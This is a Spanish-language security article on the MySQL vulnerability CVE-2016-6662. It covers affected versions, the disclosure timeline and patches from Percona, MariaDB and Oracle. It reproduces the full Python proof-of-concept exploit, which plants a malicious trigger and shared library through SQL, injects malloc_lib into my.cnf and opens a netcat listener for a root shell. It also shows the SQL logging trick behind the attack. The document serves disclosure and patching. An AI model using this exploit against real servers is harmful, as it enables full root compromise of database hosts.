Vulnerabilidad crítica con identificador CVE-2016-6662 reportada por un investigador independiente, llamado  Dawid Golunski , afecta al  gestor de Bases de Datos MySQL y todos sus forks, incluyendo Percona y MariaDB. La vulnerabilidad afecta las versiones 5.5, 5.6 y 5.7, concretamente las versiones inferiores o iguales a <= 5.7.15, <= 5.6.33, <= 5.5.52, es decir hasta la última versión disponible de MySQL 5.7.15 está afectada. La vulnerabilidad es explotable local y remotamente (RCE) y se consigue ejecución de comandos como root cuando se reincia el servicio de MySQL. Sólo se necesita un usuario autenticado con permisos de ficheros (FILE o SUPER), ya sea vía web con phpMyAdmin o con una SQL Injection.





MySQL es un sistema de gestión de bases de datos relacional desarrollado bajo licencia dual GPL/Licencia comercial por Oracle Corporation y está considerada como la base datos open source más popular del mundo.

Está vulnerabilidad también podría combinarse con la vulnerabilidad CVE-2016-6663, que será lanzada
en breve y podría permitir a ciertos atacantes para escalar sus privilegios de root incluso sin permiso FILE.

Como se ha dicho anteriormente la vulnerabilidad podría ser explotada por atacantes con tanto
(Con permiso FILE solamente) un acceso privilegiado y sin privilegios a las cuentas MySQL.

La vulnerabilidad también podría ser explotado a través de un vector de inyección SQL, que elimina la necesidad de que los atacantes tener conexión directa MySQL y aumenta el riesgo de explotación.

Una explotación exitosa podría dar a un atacante una shell remoto con privilegios de root lo que les permitiría comprometer totalmente el sistema remoto.

La vulnerabilidad fue reportada a Oracle el 29 de de julio de 2016.También se informó a los otros fabricantes afectados, incluyendo PerconaDB y MariaDB. Las vulnerabilidades fueron parcheadas por los vendedores PerconaDB y MariaDB a finales de agosto, concretamente el día 30.

Como han pasado más de 40 días desde que se informó de estos problemas y los parches ya estaban
mencionados públicamente, se tomó la decisión de comenzar a revelar vulnerabilidades (Con limitada PoC) para informar a los usuarios acerca de los riesgos antes de que el proveedor del próximo actualización de CPU que sólo ocurre al final de octubre.

CVE-2016-6662 - MySQL Remote Root Code Execution / Privilege Escalation ( 0day )

Hoy a primera hora del  lunes 12 de septiembre ,Dawid Golunski de http://legalhackers.com/ informó de un error en MySQL  con CVE-2016-6662. en seclist.org:

• seclists.org/oss-sec/2016/q3/481

Una investigación independiente ha revelado múltiples vulnerabilidades graves MySQL. Este documento informativo se centra en una vulnerabilidad crítica con un CVEID de CVE-2016-6662. La vulnerabilidad afecta a los servidores MySQL en todas las ramas de versión (5.7, 5.6, y 5.5), incluyendo las versiones más recientes, que podría ser aprovechada por atacantes locales y remotos.

Versiones afectadas:

• MySQL  <= 5.7.15
• MySQL  <= 5.6.33
• MySQL  <=  5.5.52

Tanto el acceso autenticado a la base de datos MySQL (a través de interfaces de conexión de red o web, tales como phpMyAdmin) y la inyección de SQL podría utilizarse como vectores de explotación. Una explotación exitosa podría permitir a atacantes ejecutar código arbitrario con privilegios de root que luego les permitan comprometer totalmente el servidor en el que se está ejecutando una versión afectada de MySQL.

Esta es una actualización crítica, y la solución mitiga el potencial para la ejecución remota de código raíz.



Percona ha añadido una solución para CVE-2016-6662 en las siguientes versiones:

• Percona servidor 5.5.51-38.1
• Percona servidor 5.6.32-78.0
• Percona servidor 5.7.14-7

MariaDB también ha sacado la versión parcheada MariaDB 10.1.17

• https://mariadb.com/kb/en/mariadb/mariadb-10117-release-notes/

Animamos a los usuarios para actualizar a la última versión de su fork particular, tan pronto como sea posible, asegurando que tengan procedimientos de gestión de cambios apropiados en el lugar de antemano para que puedan probar la actualización antes de ponerlo en producción.

Percona quiere agradecer a Dawid Golunski de revelar esta vulnerabilidad en el software MySQL, y trabajar con nosotros para resolverlo.

Los parches oficiales para la vulnerabilidad no están disponibles en este momento par el servidor MySQL de Orcale.

La vulnerabilidad puede ser explotada incluso si los módulos de seguridad SELinux y AppArmor
se instalan con políticas activas por defecto para el servicio MySQL en Linux importante distribuciones.

PoC (Prueba de concepto)

El aviso proporciona un PoC Prueba de concepto (limitada) para explotar lo que demuestra cómo la ejecución remota de código Raíz podría lograrse por parte de los atacantes.

PoC completo (que funciona en las instalaciones predeterminadas sin necesidad de el atacante para encontrar los archivos de configuración de escritura) se proporcionará más adelante para dar a los usuarios la oportunidad de reaccionar a esta recomendación ya que la cuestión no ha sido parcheado por toda la comunidad de vendedores a pesar de los esfuerzos.

La explotación es interesante en la forma en que se trata de una oldschool variable de entorno LD_PRELOAD y que se dirige a una servicio que no lo hace servir peticiones como raíz, pero aún podría ser engañado para obtener RCE root cuando reiniciado.


El aviso completo está disponible en:

• http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

 PROOF OF CONCEPT - 0day 0ldSQL_MySQL_RCE_exploit.py exploit

----------[ 0ldSQL_MySQL_RCE_exploit.py ]--------------

#!/usr/bin/python

# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of 
# the advisory for details on this vector. 
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
# 
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned ;)

intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com

"""

import argparse
import mysql.connector    
import binascii
import subprocess


def info(str):
    print "[+] " + str + "\n"

def errmsg(str):
    print "[!] " + str + "\n"

def shutdown(code):
    if (code==0):
        info("Exiting (code: %d)\n" % code)
    else:
        errmsg("Exiting (code: %d)\n" % code)
    exit(code)


cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 


# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'


# Main Meat

print intro

# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username') 
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB',   required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
                  
args = parser.parse_args()


# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST,
args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
    dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS,
    database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
    errmsg("Failed to connect to the target: {}".format(err))
    shutdown(1)

try:
    cursor = dbconn.cursor()
    cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)

privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
    print priv[0]
print ""


# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld 
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 
if rc != 0:
    errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
    print error 
    shutdown(2)

# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
    content = f.read()
    hookandrootlib_hex = binascii.hexlify(content)

# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG 
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `poctable` FOR EACH ROW
BEGIN

   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void;   
   set global general_log = off;

END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   
ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n
set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n
select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n
[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n
set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)

# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)

# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(4)

# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(5)

# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
    cursor = dbconn.cursor()
    cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Finally, execute the trigger's payload by inserting anything into `poctable`. 
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)
finally:
    dbconn.close()  # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")

# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""

# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")

# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")


# Shutdown
shutdown(0)


---------------------------------------------------

Explicación

En 2003 se dio a conocer una vulnerabilidad en las versiones de MySQL inferiores a  3.23.55 que permitía a los usuarios crear archivos de configuración de MySQL con una simple declaración:

SELECT * INTO OUTFILE '/var/lib/mysql/my.cnf'

El problema se solucionó al negarse a cargar los archivos de configuración con permiso de escritura universal, permisos que estos son los permisos predeterminados aplicados a los archivos creados por consulta OUTFILE.

Como protección adicional, declaraciones OUTFILE / DUMPFILE se les prohíbe sobrescribir archivos existentes. Esto protege los archivos de configuración existentes.

La vieja vulnerabilidad ha sido considerado arreglada desde el MySQL 3.23.55  que fue lanzado en 2003, y la escritura en los archivos de configuración no se ha considerado imposible.

Sin embargo, la sección de V. PRUEBA DE CONCEPTO continuación mostrará que es posible
eludir con éxito las actuales restricciones al abusar de las funciones de registro de MySQL

Un atacante podría ejecutar las siguientes consultas SQL:

mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/tmp/mysql_exploit_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

¿ Cómo parchear manualmente ?

La manera como Percona ha aumentado la seguridad es limitando las bibliotecas que pueden ser cargadas con LD_PRELOAD (incluyendo --malloc-lib), y limitándolos a /usr/lib /, /usr/lib64 y el directorio de instalación de MySQL.

Esto significa que sólo los lugares que son accesibles por los usuarios root pueden cargar las bibliotecas compartidas.

• https://www.percona.com/blog/2016/09/12/database-affected-cve-2016-6662/
• https://www.psce.com/blog/2016/09/12/how-to-quickly-patch-mysql-server-against-cve-2016-6662/ 

 Podemos editar los cambios en:

/usr/bin/mysqld_safe

Así es  como Oracle ha solucionado el fallo:

https://github.com/mysql/mysql-server/commit/f75735e36e6569b9dae3b0605b1d5915a519260e#diff-144aa2f11374843c969d96b7b84247eaR348

The 10 lines following “# Restrict to a the list in $malloc_dirs above”.

Y los cambios en Percona Server:
https://github.com/percona/percona-server/commit/c14be53e029442f576cced1fb8ff96b58e89f2e0#diff-144aa2f11374843c969d96b7b84247eaR261